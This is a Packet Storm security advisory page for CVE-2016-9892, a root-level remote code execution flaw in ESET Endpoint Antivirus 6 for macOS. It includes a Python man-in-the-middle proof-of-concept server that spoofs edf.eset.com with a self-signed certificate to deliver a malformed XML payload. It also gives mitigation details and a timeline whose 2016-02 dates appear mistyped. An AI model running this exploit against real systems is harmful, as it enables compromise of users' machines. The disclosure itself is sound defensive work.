ignore security and it'll go away

ESET Endpoint Antivirus 6 Remote Code Execution

ESET Endpoint Antivirus 6 Remote Code Execution
Posted Feb 27, 2017
Authored by Jason Geffner, Jan Bee

ESET Endpoint Antivirus 6 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2016-9892
MD5 | 9426bcc77f390623b6e343f8ba1d4368

ESET Endpoint Antivirus 6 Remote Code Execution

Change Mirror Download
CVE-2016-9892 - Remote Code Execution as Root via ESET Endpoint Antivirus 6
---------------------------------------------------------------------------

Summary
=======
Name: Remote Code Execution as Root via ESET Endpoint Antivirus 6
CVE: CVE-2016-9892
Discoverers: Jason Geffner and Jan Bee
Vendor: ESET
Product: ESET Endpoint Antivirus 6 for macOS
Risk: Critical
Discovery Date: 2016-11-03
Publication Data: 2017-02-27
Fixed Version: 6.4.168.0

Introduction
============
Per ESET's online material, "ESET Endpoint Antivirus for OS X delivers award-
winning cross-platform protection for multi-platform environments. It protects
against malware and spyware and shields end users from fake websites phishing
for sensitive information such as usernames, passwords or credit card details.
Unauthorized devices can be blocked from the system entirely. The solution's
highly intuitive interface allows for quick navigation."

Vulnerable versions of ESET Endpoint Antivirus 6 are statically linked with an
outdated XML parsing library and do not perform proper server authentication,
allowing for remote unauthenticated attackers to perform arbitrary code
execution as root on vulnerable clients.

Vulnerability
=============
The esets_daemon service, which runs as root, is statically linked with an
outdated version of the POCO XML parser library (https://pocoproject.org/) --
version 1.4.6p1 from 2013-03-06. This version of POCO is based on Expat
(http://expat.sourceforge.net/) version 2.0.1 from 2007-06-05, which has a
publicly known XML parsing vulnerability (CVE-2016-0718) that allows for
arbitrary code execution via malformed XML content.

When ESET Endpoint Antivirus tries to activate its license, esets_daemon sends a
request to https://edf.eset.com/edf. The esets_daemon service does not validate
the web server's certificate, so a man-in-the-middle can intercept the request
and respond using a self-signed HTTPS certificate. The esets_daemon service
parses the response as an XML document, thereby allowing the attacker to supply
malformed content and exploit CVE-2016-0718 to achieve arbitrary code execution
as root.

Proof of Concept
================
Extract overflow.xml from https://bugzilla.suse.com/attachment.cgi?id=676490
(ZIP file containing a public proof-of-concept for CVE-2016-0718) and run the
following Python program:
________________________________________________________________________________
import BaseHTTPServer, SimpleHTTPServer, ssl, subprocess

class XmlHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
with open("overflow.xml") as f:
xml = f.read()
self.send_response(200)
self.send_header("Content-Type", "text/xml")
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(xml)

def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200 Connection Established\r\n")
self.end_headers()
self.connection = ssl.wrap_socket(
self.connection, certfile="/tmp/xml.crt",
keyfile="/tmp/xml.key", server_side=True)
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0

subprocess.call("openssl req -newkey rsa:2048 -x509 -nodes -subj " +
"/CN=edf.eset.com -out /tmp/xml.crt -keyout /tmp/xml.key",
shell=True)

BaseHTTPServer.HTTPServer(("localhost", 4443), XmlHandler).serve_forever()
________________________________________________________________________________

Next, open the ESET Endpoint Antivirus UI, choose "Setup --> Enter application
preferences...", and enable a local proxy server for localhost:4443 (this proxy
configuration is used to simulate a man-in-the-middle attack; a real-world
attack would not require a victim to enable a proxy server).

Next, in the ESET Endpoint Antivirus UI, choose "Help --> Activate Product",
enter any License Key value you like (such as 0000-0000-0000-0000-0000), and
press "Activate".

The esets_daemon process will immediately crash (the public PoC overflow.xml
file used above just demonstrates that the vulnerability exists; it does not
perform actual code execution). You can confirm this by running
/Applications/Utilities/Console.app/Contents/MacOS/Console and seeing that
esets_daemon crashed.

Mitigation
==========
ESET patched this vulnerability in ESET Endpoint Antivirus version 6.4.168.0.

>From the product's change log on
https://www.eset.com/us/business/endpoint-security/mac-antivirus/:

Version 6.4.168.0
- Added: Product verifies ESET SSL certificate on all supported OS X/macOS
- Added: Upgraded POCO parsing library to the latest build

Discoverers
===========
This vulnerability was discovered and reported to ESET by Jason Geffner and Jan
Bee of the Google Security Team.

Timeline
========
2016-11-03 - Vulnerability discovered
2016-11-03 - Vulnerability reported to ESET Security Team
2016-11-10 - Phone call between Google and ESET to discuss vulnerability
2016-02-08 - ESET provided Google with updated build
2016-02-21 - Google confirmed vulnerability remediated
2016-02-21 - ESET publicly released version 6.4.168.0
2016-02-27 - Public disclosure

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    11 Files
  • 19
    Oct 19th
    3 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close